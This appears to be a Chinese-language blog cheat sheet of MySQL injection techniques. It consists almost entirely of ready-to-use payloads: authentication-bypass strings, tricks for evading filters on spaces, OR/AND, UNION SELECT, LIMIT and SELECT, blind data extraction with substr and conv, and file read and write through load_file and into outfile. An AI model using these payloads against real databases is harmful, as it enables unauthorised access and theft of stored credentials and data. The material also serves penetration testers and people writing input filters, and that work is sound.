mysql注入技巧原理_MySQL注入技巧总结

0x00 介绍

以下所有技巧都只在mysql适用，因为它太灵活了。

0x01 MYSQl灵活的语法

1 MySQL语法以及认证绕过

注释符：

#，-- X(X为任意字符)/*(MySQL-5.1);%00`'or 1=1;%00'or 1=1 union select 1,2`''or 1=1 #'/*!50000or*/ 1=1 -- - //版本号为5.1.38时只要小于50138'/*!or*/ 1=1 -- -

前缀：

任意混合+ - ~ !

'or --+2=- -!!!'2

测试后发现and/or后面可以跟上偶数个!、~可以替代空格，也可以混合使用(混合后规律又不同)，and/or前的空格可以省略

'or- -!!!1=1；

运算符：

^, =, !=, %, /, *, &, &&, |, ||, , <>, >=, <=, <>, <=>, XOR,DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN,……'or 1 rlike '1

空格替换：%20, %09, %0a, %0b, %0c, %0d, %a0

也可以插入括号，前缀，操作符，引号

'or+(1)sounds/**/like"1"--%a0-

字符串格式

' or "a"='a'' or 'a'=n'a' //unicode' or 'a'=b'1100001' //binary' or 'a'=_binary'1100001' //5.5.41下测试无效' or 'a'=x'61' //16进制

2、MySQL常用的一些小工具

常量：true， false， null， \N, current_timestamp....

变量：@myvar:=1

系统变量：@@version, @@datadir....

常用函数：version(), pi(), pow(), char(), substring()....

3、MySQL类型转换

' or 1=true #true=1, false=0' or 1 #true' or version()=5.5 #5.5.41-log' or round(pi(),1)+true+true+0.4=version() #3.1+1+1+0.4select * from users where 'a'='b'='c'select * from users where ('a'='b')='c'select * from users where (false)='c'select * from users where (0)='c'select * from users where (0)=0select * from users where trueselect * from users

以上的语句都是同样的效果

4、认证绕过

绕过语句：'='

select data from users where name="="select data from users where flase="select data from users where 0=0

绕过语句：'-'

select data from users where name=''-''select data from users where name=0-0select data from users where 0=0

0x02 关键字过滤

空格

过滤代码/\s/

%20, %09, %0a, %0b, %0c, %0d, %a0

关键字OR，AND

过滤代码/\sor\s/i,/\sand\s/i

'||1='1 #or'=''&&1='1 #and

关键字union select

过滤代码/union\s+select/i

'and(true)like(false)union(select(pass)from(users))#'union [all|distinct] select pass from users#'union%a0select pass from users#'union/*!select*/pass from users#/vuln.php?id=1 union/*&sort=*/select pass from users-- -

如果单独过滤union,使用盲注来获取数据

'and(select pass from users limit 1)='secret

通过子查询获取单值来进行比较

关键字limit

过滤代码/limit/i

'and(select pass from users where id=1)='a'and(select pass from users group by id having id=1)='a'and length((select pass from users having substr(pass,1,1)='a'))

关键字having

过滤代码/having/i

'and(select substr(group_concat(pass),1,1)from users)='

关键字select ... from

过滤代码/SELECT\s+[A-Za-z.]+\s+FROM/i/i

select [all|distinct] pass from usersselect`table_name`from`information_schema` . `tables`select pass as alias from usersselect pass aliasalias from usersselect pass`alias alias`from usersselect+pass%a0from(users)

关键字select

过滤代码/select/i

1 有文件读取权限

' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt

2 获取列名

' and 列名 is not null#' procedure analyse()#

使用substr来做过滤条件

'and substr(pass,1,1)='a

关键字select,and,&

'0#

select data from users where name = ''-0 # int typecastselect data from users where name = 0 # int typecastselect data from users where 0 = 0 # true

'-1#

select data from users where 0 = -1 # false

使用条件判断来进行true、false的选择

ifnull(nullif()), case when， if()'-if(name='Admin',1,0)#

使用嵌套条件'-if(

if(name='Admin',1,0), // conditionif(substr(pass,1,1)='a',1,0) // if true,0)# // if false

0x03 函数过滤

构建字符串相关函数

unhex char hex ascii ord substr substring mid pad left right insert' and substr(data,1,1) = 'a'#' and substr(data,1,1) = 0x61# 0x6162' and substr(data,1,1) = unhex(61)# unhex(6162)' and substr(data,1,1) = char(97)# char(97,98)' and hex(substr(data,1,1)) = 61#' and ascii(substr(data,1,1)) = 97#' and ord(substr(data,1,1)) = 97#

使用conv来进行进制的转换

' and substr(data,1,1) = lower(conv(10,10,36))# 'a'' and substr(data,1,1) = lower(conv(11,10,36))# 'b'' and substr(data,1,1) = lower(conv(36,10,36))# 'z'

使用函数来猜解数据

' and substr(data,1,1) = 'a'#' and substring(data,1,1) = 'a'#' and mid(data,1,1) = 'a'#

不适用逗号来获取

' and substr(data from 1 for 1) = 'a'#

同样也可以使用一下比较少见的函数来尝试绕过

lpad(data,1,space(1)) // lpad('hi',4,'?') = '??hi'rpad(data,1,space(1)) // rpad('hi',4,'?') = 'hi??'left(data,1)reverse(right(reverse(data),1))insert(insert(version(),1,0,space(0)),2,222,space(0))

有些函数有类似搜索匹配的功能

'-if(locate('f',data),1,0)#'-if(locate('fo',data),1,0)#'-if(locate('foo',data),1,0)#instr(), position()

使用函数进行字符串的切割

length(trim(leading 'a' FROM data)) # length will be shorterlength(replace(data, 'a', '')) # length will be shorter

2种方式都是相同效果

0x04 注入时主要使用的一些东西

1个控制流程操作(select, case, if(), ...)1个比较操作(=, like, mod(), ...)1个字符串的猜解(mid(), left(), rpad(), …)1个字符串生成(0x61, hex(), conv())

使用conv([10-36],10,36)可以实现所有字符的表示

false !pi() 0 ceil(pi()*pi()) 10 A ceil((pi()+pi())*pi()) 20 Ktrue !!pi() 1 ceil(pi()*pi())+true 11 B ceil(ceil(pi())*version()) 21 Ltrue+true 2 ceil(pi()+pi()+version()) 12 C ceil(pi()*ceil(pi()+pi())) 22 Mfloor(pi()) 3 floor(pi()*pi()+pi()) 13 D ceil((pi()+ceil(pi()))*pi()) 23 Nceil(pi()) 4 ceil(pi()*pi()+pi()) 14 E ceil(pi())*ceil(version()) 24 Ofloor(version()) 5 ceil(pi()*pi()+version()) 15 F floor(pi()*(version()+pi())) 25 Pceil(version()) 6 floor(pi()*version()) 16 G floor(version()*version()) 26 Qceil(pi()+pi()) 7 ceil(pi()*version()) 17 H ceil(version()*version()) 27 Rfloor(version()+pi()) 8 ceil(pi()*version())+true 18 I ceil(pi()*pi()*pi()-pi()) 28 Sfloor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19 J floor(pi()*pi()*floor(pi())) 29 T

更多详细的东西可以参考原文，还有一些其他的注入资料可以参考

http://websec.ca/kb/sql_injection

往期精彩